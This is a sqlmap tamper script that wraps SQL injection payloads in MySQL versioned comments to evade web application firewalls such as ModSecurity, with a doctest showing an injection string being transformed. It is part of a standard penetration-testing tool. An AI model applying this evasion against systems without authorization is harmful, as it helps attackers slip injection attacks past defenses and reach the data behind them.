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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.common import randomInt
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHER
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Embraces complete query with (MySQL) versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass ModSecurity WAF
>>> import random
>>> random.seed(0)
>>> tamper('1 AND 2>1--')
'1 /*!30963AND 2>1*/--'
"""
retVal = payload
if payload:
postfix = ''
for comment in ('#', '--', '/*'):
if comment in payload:
postfix = payload[payload.find(comment):]
payload = payload[:payload.find(comment)]
break
if ' ' in payload:
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)
return retVal
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